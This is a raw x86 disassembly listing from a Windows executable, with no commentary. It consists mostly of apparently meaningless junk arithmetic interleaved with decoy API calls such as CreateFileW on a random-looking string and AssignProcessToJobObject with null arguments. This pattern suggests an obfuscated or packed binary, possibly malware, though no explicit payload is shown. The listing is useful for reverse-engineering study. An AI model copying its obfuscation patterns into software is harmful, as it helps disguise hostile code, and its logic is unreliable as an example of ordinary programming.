movzx ecx, byte [ebp - 0x449]
or eax, ecx
mov byte [0x41d005], al
mov edx, dword [ebp - 0x6bc]
mov eax, dword [edx]
mov dword [ebp - 0x7b4], eax
mov ecx, dword [ebp - 0x420]
mov edx, dword [ebp - 0x4ac]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x7b4], edx
mov eax, dword [ebp - 0x840]
mov ecx, dword [eax]
mov dword [ebp - 0x400], ecx
mov dl, byte [ebp - 0x705]
mov byte [ebp - 0x769], dl
mov ax, word [ebp - 0x71c]
mov word [ebp - 0x770], ax
movzx edx, word [ebp - 0x440]
movzx ecx, word [ebp - 0x70c]
shl edx, cl
mov word [ebp - 0x4ec], dx
mov eax, dword [ebp - 0x4a0]
mov cl, byte [eax]
mov byte [ebp - 0x415], cl
movsx edx, byte [ebp - 0x769]
mov eax, dword [ebp - 0x40c]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x778]
movsx ecx, byte [eax]
movsx eax, byte [ebp - 0x705]
and ecx, eax
cmp edx, ecx
je 0x4062ab
mov ecx, dword [ebp - 0x46c]
add ecx, dword [ebp - 0x3f8]
mov edx, dword [ebp - 0x6a4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6a4]
mov ecx, dword [ebp - 0x46c]
sub ecx, dword [eax]
mov dword [0x7725cc], ecx
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
mov ecx, dword [0x773670]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x520]
mov word [ecx], ax
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4a0]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x435], al
mov eax, dword [ebp - 0x830]
and eax, dword [ebp - 0x52c]
mov dword [ebp - 0x434], eax
movzx ecx, word [ebp - 0x70c]
push ecx
movzx edx, word [ebp - 0x834]
push edx
call fcn.00404e30
mov eax, dword [ebp - 0x46c]
imul eax, dword [ebp - 0x488]
mov dword [ebp - 0x6fc], eax
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x448]
add edx, dword [eax]
mov dword [ebp - 0x718], edx
movsx ecx, word [ebp - 0x770]
mov dword [ebp - 0x8b4], ecx
cmp dword [ebp - 0x8b4], 0x53a
je 0x4062ef
jmp 0x40634d
movzx edx, word [ebp - 0x834]
push edx
mov eax, dword [0x773670]
movzx ecx, word [eax]
push ecx
call fcn.00404e30
movzx edx, word [ebp - 0x834]
mov eax, dword [ebp - 0x850]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x520]
mov word [eax], dx
movzx ecx, byte [ebp - 0x4e1]
movzx edx, byte [0x41d004]
add ecx, edx
mov byte [ebp - 0x449], cl
mov eax, dword [ebp - 0x6fc]
add eax, dword [ebp - 0x46c]
mov dword [ebp - 0x488], eax
jmp 0x40a27c
mov ecx, dword [ebp - 0x448]
mov edx, dword [ecx]
mov dword [ebp - 0x574], edx
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x420]
add ecx, dword [edx]
mov eax, dword [ebp - 0x6bc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x528]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x769]
sub edx, eax
mov byte [0x41d006], dl
mov dword [ebp - 0x804], 0xe35f
lea ecx, [ebp - 0x488]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x448]
mov eax, dword [ebp - 0x454]
sub eax, dword [edx]
mov dword [ebp - 0x854], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x52c]
and edx, dword [ecx]
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x574]
cmp edx, ecx
jle 0x4064a4
lea edx, [ebp - 0x820]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0x40
push 3
push 0
push 8
push 0xc0000000
push str.7EWeup8kjdHJVukucf4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x788], eax
lea eax, [ebp - 0x70c]
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x8b8], ecx
cmp dword [ebp - 0x8b8], 0x1a91e8
je 0x40642c
jmp 0x406482
mov edx, dword [ebp - 0x7c4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4a0]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x3f0]
mov byte [edx], al
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x714], eax
mov dword [ebp - 0x414], 0x9637
mov ecx, dword [ebp - 0x69c]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x46c]
mov dword [ebp - 0x77c], edx
mov eax, dword [ebp - 0x6bc]
mov ecx, dword [eax]
mov dword [ebp - 0x780], ecx
jmp 0x4064a2
mov edx, dword [ebp - 0x6bc]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x474]
mov dx, word [ecx]
mov eax, dword [ebp - 0x428]
mov cx, word [eax]
call fcn.00404d90
jmp 0x406501
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ebp - 0x464]
or edx, dword [ecx]
mov dword [ebp - 0x718], edx
mov eax, dword [ebp - 0x850]
movzx edx, word [eax]
movzx ecx, word [0x773678]
shl edx, cl
mov eax, dword [0x773670]
mov word [eax], dx
mov ecx, dword [ebp - 0x7c4]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x435]
and edx, eax
mov byte [ebp - 0x4e1], dl
movzx ecx, word [ebp - 0x53c]
push ecx
mov edx, dword [ebp - 0x474]
movzx eax, word [edx]
push eax
call fcn.00404d20
movsx ecx, word [0x7725c8]
movsx edx, word [ebp - 0x770]
sub ecx, edx
mov word [ebp - 0x71c], cx
mov dword [ebp - 0x6f4], 0x4036
mov eax, dword [ebp - 0x528]
mov cl, byte [eax]
mov byte [ebp - 0x42d], cl
mov edx, dword [ebp - 0x3f8]
sub edx, dword [ebp - 0x46c]
mov eax, dword [ebp - 0x69c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3d8]
mov dword [ebp - 0x7ac], ecx
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7d1]
sub eax, ecx
mov byte [ebp - 0x415], al
mov dword [ebp - 0x41c], 0xcb6f
movzx edx, word [ebp - 0x834]
mov eax, dword [ebp - 0x850]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x440], dx
mov edx, dword [0x7725cc]
add edx, dword [ebp - 0x3f8]
mov dword [ebp - 0x46c], edx
mov eax, dword [ebp - 0x77c]
sub eax, dword [ebp - 0x6fc]
mov dword [0x7725cc], eax
mov ecx, dword [ebp - 0x420]
mov edx, dword [ebp - 0x6bc]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x798], eax
mov ecx, dword [ebp - 0x69c]
mov edx, dword [ebp - 0x77c]
add edx, dword [ecx]
mov eax, dword [ebp - 0x6a4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
movzx ecx, word [0x773678]
sar edx, cl
mov word [ebp - 0x834], dx
movzx eax, byte [ebp - 0x7d1]
mov ecx, dword [ebp - 0x3f0]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x4a0]
mov byte [edx], al
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x780]
xor ecx, dword [eax]
mov dword [ebp - 0x718], ecx
mov edx, dword [ebp - 0x448]
mov eax, dword [ebp - 0x6bc]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x420]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6f8]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x46c]
mov dword [ebp - 0x488], ecx
mov edx, dword [ebp - 0x840]
mov eax, dword [ebp - 0x6bc]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x840]
mov dword [edx], ecx
mov eax, dword [ebp - 0x850]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x428]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [0x773670]
mov word [edx], cx
mov eax, dword [ebp - 0x40c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x769], cl
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x770]
add edx, eax
mov ecx, dword [ebp - 0x474]
mov word [ecx], dx
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
movzx ecx, word [0x773678]
sub eax, ecx
mov word [ebp - 0x834], ax
mov edx, dword [ebp - 0x4a0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x7c4]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x415], al
mov eax, dword [ebp - 0x6fc]
sub eax, dword [ebp - 0x46c]
mov ecx, dword [ebp - 0x6f8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x840]
mov eax, dword [ebp - 0x3d8]
add eax, dword [edx]
mov dword [ebp - 0x434], eax
movzx ecx, byte [ebp - 0x4e1]
mov edx, dword [ebp - 0x7c4]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x7d1], cl
mov ecx, dword [ebp - 0x850]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x70c]
sar edx, cl
mov word [ebp - 0x440], dx
mov eax, dword [ebp - 0x69c]
mov ecx, dword [ebp - 0x6f8]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x7725cc], edx
mov eax, dword [ebp - 0x41c]
add eax, 0x24
mov dword [ebp - 0x41c], eax
mov ecx, dword [ebp - 0x434]
xor ecx, dword [ebp - 0x3d8]
mov edx, dword [ebp - 0x6bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x840]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x434]
mov edx, dword [ebp - 0x448]
mov dword [edx], ecx
mov eax, dword [ebp - 0x6fc]
add eax, dword [ebp - 0x46c]
mov dword [ebp - 0x77c], eax
movzx ecx, byte [0x41d004]
movzx edx, byte [ebp - 0x4e1]
add ecx, edx
mov byte [ebp - 0x7d1], cl
movzx eax, word [ebp - 0x4ec]
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x70c], ax
mov eax, dword [ebp - 0x6bc]
mov ecx, dword [ebp - 0x714]
sub ecx, dword [eax]
mov dword [ebp - 0x798], ecx
mov edx, dword [ebp - 0x840]
mov eax, dword [edx]
sub eax, dword [ebp - 0x714]
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x71c]
sub edx, eax
mov word [ebp - 0x53c], dx
mov ecx, dword [ebp - 0x778]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40c]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x41d006], dl
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x70c]
add eax, ecx
mov word [ebp - 0x834], ax
mov edx, dword [ebp - 0x7c4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4a0]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3f0]
mov byte [ecx], al
mov edx, dword [ebp - 0x69c]
mov eax, dword [ebp - 0x3f8]
sub eax, dword [edx]
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x69c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x838]
add edx, dword [eax]
mov dword [ebp - 0x488], edx
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ebp - 0x52c]
xor edx, dword [ecx]
mov dword [ebp - 0x574], edx
mov eax, dword [ebp - 0x4ac]
mov ecx, dword [ebp - 0x854]
sar eax, cl
mov ecx, dword [ebp - 0x448]
mov dword [ecx], eax
mov edx, dword [ebp - 0x780]
or edx, dword [ebp - 0x52c]
mov dword [ebp - 0x464], edx
movzx eax, byte [ebp - 0x4e1]
mov ecx, dword [ebp - 0x7c4]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x435], al
movzx edx, word [ebp - 0x4ec]
movzx eax, word [0x773678]
and edx, eax
mov word [ebp - 0x70c], dx
mov ecx, dword [ebp - 0x69c]
mov edx, dword [ebp - 0x3f8]
add edx, dword [ecx]
mov dword [0x7725cc], edx
cmp dword [ebp - 0x41c], 0xd19f
jb 0x406572
lea eax, [ebp - 0x464]
mov dword [ebp - 0x530], eax
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x42d]
sub edx, eax
movsx ecx, byte [ebp - 0x769]
movsx eax, byte [ebp - 0x705]
and ecx, eax
cmp edx, ecx
jne 0x40a26a
mov ecx, dword [ebp - 0x6f8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x6a4]
add edx, dword [eax]
mov dword [ebp - 0x6fc], edx
mov cl, byte [ebp - 0x4e1]
mov byte [ebp - 0x6b1], cl
movzx edx, word [ebp - 0x834]
mov eax, dword [ebp - 0x850]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x520]
mov word [eax], dx
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
mov dword [ebp - 0x8bc], edx
cmp dword [ebp - 0x8bc], 0x370
je 0x4069b1
jmp 0x406a3b
movsx eax, word [ebp - 0x53c]
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
sub eax, edx
mov word [ebp - 0x770], ax
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [ebp - 0x77c]
shr eax, cl
mov dword [ebp - 0x6fc], eax
mov ecx, dword [ebp - 0x6a4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3f8]
shl edx, cl
mov dword [0x7725cc], edx
mov eax, dword [ebp - 0x6c0]
push eax
call dword [sym.imp.SHELL32.dll_DragFinish]
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x7d1]
or edx, eax
mov ecx, dword [ebp - 0x7c4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x4ec], ax
jmp 0x40a250
mov eax, dword [ebp - 0x448]
mov ecx, dword [ebp - 0x798]
and ecx, dword [eax]
mov dword [ebp - 0x464], ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea edx, [ebp - 0x488]
mov dword [ebp - 0x444], edx
mov eax, dword [ebp - 0x7ac]
imul eax, dword [ebp - 0x798]
mov dword [ebp - 0x52c], eax
lea ecx, [ebp - 0x7ac]
mov dword [ebp - 0x758], ecx
movzx edx, word [ebp - 0x4ec]
mov dword [ebp - 0x8c0], edx
cmp dword [ebp - 0x8c0], 0
je 0x406a9f
jmp 0x40a17f
mov eax, dword [ebp - 0x40c]
mov cl, byte [eax]
mov byte [ebp - 0x8c4], cl
cmp byte [ebp - 0x8c4], 0
je 0x406abb
jmp 0x40a0de
mov edx, dword [ebp - 0x528]
mov al, byte [edx]
mov byte [ebp - 0x8c8], al
cmp byte [ebp - 0x8c8], 0x21
je 0x406ad4
jmp 0x406b1a
call fcn.00404d50
mov ecx, dword [ebp - 0x46c]
add ecx, dword [0x7725cc]
mov dword [ebp - 0x6fc], ecx
movzx edx, byte [ebp - 0x6b1]
push edx
mov eax, dword [ebp - 0x850]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x70c]
push edx
movzx eax, byte [ebp - 0x415]
push eax
call fcn.0040a6c0
add esp, 0x10
jmp 0x40a02a
mov ecx, dword [ebp - 0x420]
mov edx, dword [ecx]
mov dword [ebp - 0x8cc], edx
cmp dword [ebp - 0x8cc], 0xffff7ae0
je 0x406b39
jmp 0x406c24
mov eax, dword [ebp - 0x6a4]
mov edx, dword [ebp - 0x46c]
add edx, dword [eax]
mov eax, dword [ebp - 0x838]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6fc]
shl eax, cl
cmp edx, eax
jne 0x406bbb
mov ecx, dword [ebp - 0x530]
mov edx, dword [ebp - 0x454]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x52c], edx
mov eax, dword [ebp - 0x778]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x42d], cl
lea ecx, [ebp - 0x3c8]
push ecx
push 0x4b
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0x6a0], eax
movsx edx, word [ebp - 0x770]
movsx eax, word [ebp - 0x53c]
and edx, eax
mov ecx, dword [ebp - 0x474]
mov word [ecx], dx
jmp 0x406c22
mov edx, dword [ebp - 0x758]
mov eax, dword [edx]
cdq
idiv dword [ebp - 0x828]
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x7b4]
xor edx, dword [ecx]
cmp eax, edx
jge 0x406c22
mov eax, dword [0x773670]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x70c]
add ecx, edx
mov word [ebp - 0x440], cx
mov eax, dword [ebp - 0x4a0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x6b1], cl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x814], eax
jmp 0x406c82
mov ecx, dword [ebp - 0x6a4]
mov edx, dword [0x7725cc]
add edx, dword [ecx]
mov dword [ebp - 0x3f8], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x840]
add ecx, dword [edx]
mov dword [ebp - 0x400], ecx
mov eax, dword [ebp - 0x474]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x474]
movzx eax, word [edx]
push eax
call fcn.00404d20
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x70c]
sub edx, eax
mov ecx, dword [0x773670]
mov word [ecx], dx
cmp dword [ebp - 0x7b8], 0x1920
je 0x406dc2
mov edx, dword [ebp - 0x488]
sub edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x46c], edx
mov eax, dword [ebp - 0x464]
and eax, dword [ebp - 0x6b0]
mov dword [ebp - 0x7b4], eax
mov ecx, dword [ebp - 0x7b8]
add ecx, 0x20
mov dword [ebp - 0x7b8], ecx
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x70c]
add eax, ecx
mov word [ebp - 0x440], ax
movzx edx, byte [ebp - 0x435]
movzx ecx, byte [0x41d005]
shl edx, cl
mov byte [ebp - 0x4e1], dl
mov eax, dword [ebp - 0x464]
xor eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x6bc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x444]
mov eax, dword [edx]
mov ecx, dword [0x7725cc]
shr eax, cl
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0x530]
mov edx, dword [ebp - 0x574]
or edx, dword [ecx]
mov eax, dword [ebp - 0x420]
mov dword [eax], edx
mov ecx, dword [ebp - 0x454]
sub ecx, dword [ebp - 0x574]
mov edx, dword [ebp - 0x530]
mov dword [edx], ecx
movzx eax, word [ebp - 0x440]
mov ecx, dword [ebp - 0x850]
movzx edx, word [ecx]
and eax, edx
mov word [0x773678], ax
mov eax, dword [ebp - 0x4a0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x6b1]
sub ecx, edx
mov byte [ebp - 0x415], cl
movsx eax, byte [ebp - 0x42d]
mov ecx, dword [ebp - 0x778]
movsx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x769], al
movsx eax, word [ebp - 0x53c]
movsx ecx, word [ebp - 0x71c]
add eax, ecx
mov edx, dword [ebp - 0x474]
mov word [edx], ax
mov eax, dword [ebp - 0x838]
mov ecx, dword [ebp - 0x6fc]
add ecx, dword [eax]
mov dword [ebp - 0x46c], ecx
jmp 0x406c82
mov edx, dword [ebp - 0x408]
mov dword [ebp - 0x494], edx
movzx eax, byte [ebp - 0x4e1]
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x4a0]
mov byte [ecx], al
mov dx, word [ebp - 0x834]
mov word [ebp - 0x754], dx
mov dword [ebp - 0x6ec], 0xc974
mov eax, dword [ebp - 0x488]
sub eax, dword [ebp - 0x46c]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x6f4], 0x1d54
jbe 0x407041
movsx ecx, word [ebp - 0x770]
mov edx, dword [ebp - 0x474]
movsx eax, word [edx]
add ecx, eax
mov word [0x7725c8], cx
mov ecx, dword [ebp - 0x6f4]
sub ecx, 0x5e
mov dword [ebp - 0x6f4], ecx
mov edx, dword [ebp - 0x6bc]
mov eax, dword [edx]
and eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x52c], eax
mov edx, dword [ebp - 0x488]
mov ecx, dword [ebp - 0x6fc]
shr edx, cl
mov dword [ebp - 0x3f8], edx
mov eax, dword [ebp - 0x4a0]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x435]
shl edx, cl
mov eax, dword [ebp - 0x3f0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x850]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x520]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x834], dx
mov edx, dword [ebp - 0x6bc]
mov eax, dword [ebp - 0x840]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x448]
mov dword [edx], ecx
mov eax, dword [ebp - 0x718]
sub eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x494], eax
mov ecx, dword [ebp - 0x444]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3f8]
mov dword [ebp - 0x488], edx
mov eax, dword [ebp - 0x840]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x52c]
mov dword [ebp - 0x798], ecx
movsx edx, byte [ebp - 0x42d]
movsx eax, byte [ebp - 0x769]
sub edx, eax
mov byte [0x41d006], dl
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x53c]
add edx, eax
mov word [ebp - 0x71c], dx
mov ecx, dword [ebp - 0x778]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x42d]
add edx, eax
mov byte [ebp - 0x769], dl
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x449]
sub edx, eax
mov ecx, dword [ebp - 0x7c4]
mov byte [ecx], dl
movzx edx, word [ebp - 0x70c]
movzx eax, word [0x773678]
add edx, eax
mov word [ebp - 0x834], dx
mov ecx, dword [ebp - 0x6a4]
mov edx, dword [ebp - 0x6fc]
sub edx, dword [ecx]
mov dword [ebp - 0x3f8], edx
mov eax, dword [ebp - 0x840]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x530]
add ecx, dword [edx]
mov dword [ebp - 0x830], ecx
mov eax, dword [0x773670]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x428]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x4ec], cx
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4a0]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x6b1], dl
mov edx, dword [ebp - 0x6fc]
or edx, dword [ebp - 0x46c]
mov dword [0x7725cc], edx
mov eax, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x840]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x830], edx
mov eax, dword [ebp - 0x7ac]
mov ecx, dword [ebp - 0x454]
shl eax, cl
mov dword [ebp - 0x464], eax
mov ecx, dword [ebp - 0x838]
mov edx, dword [ebp - 0x488]
and edx, dword [ecx]
mov dword [ebp - 0x77c], edx
movzx eax, word [ebp - 0x834]
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x428]
mov word [ecx], ax
jmp 0x406e12
movzx edx, byte [ebp - 0x4e1]
movzx eax, byte [ebp - 0x6b1]
add edx, eax
mov ecx, dword [ebp - 0x7c4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x530]
mov eax, dword [edx]
mov dword [ebp - 0x764], eax
mov ecx, dword [ebp - 0x448]
mov edx, dword [ebp - 0x840]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [ebp - 0x6b0], eax
mov cl, byte [0x773669]
mov byte [ebp - 0x46d], cl
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx edx, byte [ebp - 0x415]
movzx eax, byte [ebp - 0x449]
and edx, eax
movzx ecx, byte [ebp - 0x4e1]
mov eax, dword [ebp - 0x4a0]
movzx eax, byte [eax]
add ecx, eax
cmp edx, ecx
je 0x4070eb
mov ecx, dword [ebp - 0x474]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x71c]
add edx, eax
mov word [0x7725c8], dx
movzx ecx, byte [ebp - 0x7d1]
movzx edx, byte [ebp - 0x6b1]
sub ecx, edx
mov eax, dword [ebp - 0x7c4]
mov byte [eax], cl
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [ebp - 0x45c], 0xb234
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ebp - 0x764]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x448]
mov eax, dword [eax]
sub eax, dword [ecx]
cmp edx, eax
jg 0x4071be
mov ecx, dword [ebp - 0x3d8]
sub ecx, dword [ebp - 0x7ac]
mov dword [ebp - 0x434], ecx
mov edx, dword [ebp - 0x428]
movzx eax, word [edx]
push eax
movzx ecx, word [ebp - 0x834]
push ecx
call fcn.00404e30
mov edx, dword [ebp - 0x6bc]
mov eax, dword [edx]
add eax, dword [ebp - 0x408]
mov dword [ebp - 0x798], eax
movzx ecx, word [ebp - 0x4ec]
movzx edx, word [ebp - 0x70c]
add ecx, edx
mov word [ebp - 0x754], cx
mov eax, dword [ebp - 0x7c4]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x449]
and ecx, edx
mov byte [ebp - 0x6b1], cl
lea eax, [ebp - 0x440]
push eax
lea ecx, [ebp - 0x810]
push ecx
lea edx, [ebp - 0x810]
push edx
mov eax, dword [ebp - 0x47c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [ebp - 0x6a0], eax
jmp 0x409fd3
mov cx, word [0x7725c8]
mov word [0x773688], cx
mov edx, dword [ebp - 0x3f8]
add edx, dword [ebp - 0x6fc]
mov eax, dword [ebp - 0x6f8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x758]
mov edx, dword [ebp - 0x400]
add edx, dword [ecx]
mov eax, dword [ebp - 0x420]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4ac]
mov dword [ebp - 0x3cc], ecx
cmp dword [ebp - 0x4b4], 0x304a
je 0x4074ac
mov edx, dword [ebp - 0x838]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x46c], eax
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
mov eax, dword [0x773670]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x70c], dx
lea edx, [ebp - 0x878]
push edx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [ebp - 0x6b1]
movzx ecx, byte [ebp - 0x4e1]
xor eax, ecx
mov byte [ebp - 0x7d1], al
movsx edx, byte [ebp - 0x46d]
mov eax, dword [ebp - 0x40c]
movsx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0x769], dl
mov edx, dword [ebp - 0x474]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x71c]
shl eax, cl
mov ecx, dword [ebp - 0x474]
mov word [ecx], ax
mov edx, dword [ebp - 0x444]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x488]
shr eax, cl
mov dword [0x7725cc], eax
mov ecx, dword [ebp - 0x574]
and ecx, dword [ebp - 0x538]
mov dword [ebp - 0x400], ecx
mov edx, dword [ebp - 0x4b4]
add edx, 0xf9
mov dword [ebp - 0x4b4], edx
movzx eax, word [ebp - 0x70c]
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x834], ax
mov eax, dword [ebp - 0x4a0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x7c4]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3f0]
mov byte [edx], cl
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x830]
mov dword [ebp - 0x764], ecx
mov edx, dword [ebp - 0x6a4]
mov eax, dword [ebp - 0x444]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x46c], ecx
mov edx, dword [ebp - 0x420]
mov eax, dword [ebp - 0x828]
sub eax, dword [edx]
mov dword [ebp - 0x798], eax
mov ecx, dword [ebp - 0x448]
mov edx, dword [ebp - 0x758]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x3cc], eax
movzx ecx, byte [ebp - 0x449]
mov edx, dword [ebp - 0x7c4]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x4e1], cl
mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x4ec]
sub edx, eax
